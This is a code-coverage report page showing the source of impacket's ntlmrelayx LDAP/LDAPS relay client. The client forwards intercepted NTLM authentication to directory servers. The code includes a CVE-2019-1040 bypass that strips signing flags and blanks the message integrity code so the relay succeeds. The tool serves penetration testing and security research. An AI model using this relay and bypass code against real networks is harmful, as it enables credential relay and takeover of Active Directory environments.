Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py: 20%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py : 20%

## 115 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# LDAP Protocol Client

8#

9# Author:

10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

11# Alberto Solino (@agsolino)

12#

13# Description:

14# LDAP client for relaying NTLMSSP authentication to LDAP servers

15# The way of using the ldap3 library is quite hacky, but its the best

16# way to make the lib do things it wasn't designed to without touching

17# its code

18#

19 import sys

20 from struct import unpack

21 from impacket import LOG

22 from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD

23 from ldap3.operation import bind

24 try:

25 from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED

26 except ImportError:

27 LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade")

28 sys.exit(1)

29

30 from impacket.examples.ntlmrelayx.clients import ProtocolClient

31 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

32 from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION

33 from impacket.spnego import SPNEGO_NegTokenResp

34

35 PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]

36

37 class LDAPRelayClientException(Exception):

38 pass

39

40 class LDAPRelayClient(ProtocolClient):

41 PLUGIN_NAME = "LDAP"

42 MODIFY_ADD = MODIFY_ADD

43

44 def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):

45 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

46 self.extendedSecurity = extendedSecurity

47 self.negotiateMessage = None

48 self.authenticateMessageBlob = None

49 self.server = None

50

51 def killConnection(self):

52 if self.session is not None:

53 self.session.socket.close()

54 self.session = None

55

56 def initConnection(self):

57 self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)

58 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)

59 self.session.open(False)

60 return True

61

62 def sendNegotiate(self, negotiateMessage):

63 negoMessage = NTLMAuthNegotiate()

64 negoMessage.fromString(negotiateMessage)

65

66 # When exploiting CVE-2019-1040, remove message signing flag

67 # For SMB->LDAP this is required otherwise it triggers LDAP signing

68 # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM

69 if self.serverConfig.remove_mic:

70 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

71 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

72 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

73 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

74

75 self.negotiateMessage = negoMessage.getData()

76

77 # Warn if the relayed target requests signing, which will break our attack

78 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

79 LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')

80

81 with self.session.connection_lock:

82 if not self.session.sasl_in_progress:

83 self.session.sasl_in_progress = True

84 request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')

85 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))

86 result = response[0]

87 try:

88 sicily_packages = result['server_creds'].decode('ascii').split(';')

89 except KeyError:

90 raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

91

92 if 'NTLM' in sicily_packages: # NTLM available on server

93 request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)

94 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))

95 result = response[0]

96 if result['result'] == RESULT_SUCCESS:

97 challenge = NTLMAuthChallenge()

98 challenge.fromString(result['server_creds'])

99 return challenge

100 else:

101 raise LDAPRelayClientException('Server did not offer NTLM authentication!')

102

103 #This is a fake function for ldap3 which wants an NTLM client with specific methods

104 def create_negotiate_message(self):

105 return self.negotiateMessage

106

107 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

108 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

109 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

110 token = respToken2['ResponseToken']

111 else:

112 token = authenticateMessageBlob

113

114 authMessage = NTLMAuthChallengeResponse()

115 authMessage.fromString(token)

116 # When exploiting CVE-2019-1040, remove flags

117 if self.serverConfig.remove_mic:

118 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

119 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

120 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

121 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

122 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:

123 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH

124 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:

125 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

126 authMessage['MIC'] = b''

127 authMessage['MICLen'] = 0

128 authMessage['Version'] = b''

129 authMessage['VersionLen'] = 0

130 token = authMessage.getData()

131

132 with self.session.connection_lock:

133 self.authenticateMessageBlob = token

134 request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)

135 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))

136 result = response[0]

137 self.session.sasl_in_progress = False

138

139 if result['result'] == RESULT_SUCCESS:

140 self.session.bound = True

141 self.session.refresh_server_info()

142 return None, STATUS_SUCCESS

143 else:

144 if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':

145 raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')

146 return None, STATUS_ACCESS_DENIED

147

148 #This is a fake function for ldap3 which wants an NTLM client with specific methods

149 def create_authenticate_message(self):

150 return self.authenticateMessageBlob

151

152 #Placeholder function for ldap3

153 def parse_challenge_message(self, message):

154 pass

155

156 class LDAPSRelayClient(LDAPRelayClient):

157 PLUGIN_NAME = "LDAPS"

158 MODIFY_ADD = MODIFY_ADD

159

160 def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):

161 LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

162

163 def initConnection(self):

164 self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)

165 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)

166 self.session.open(False)

167 return True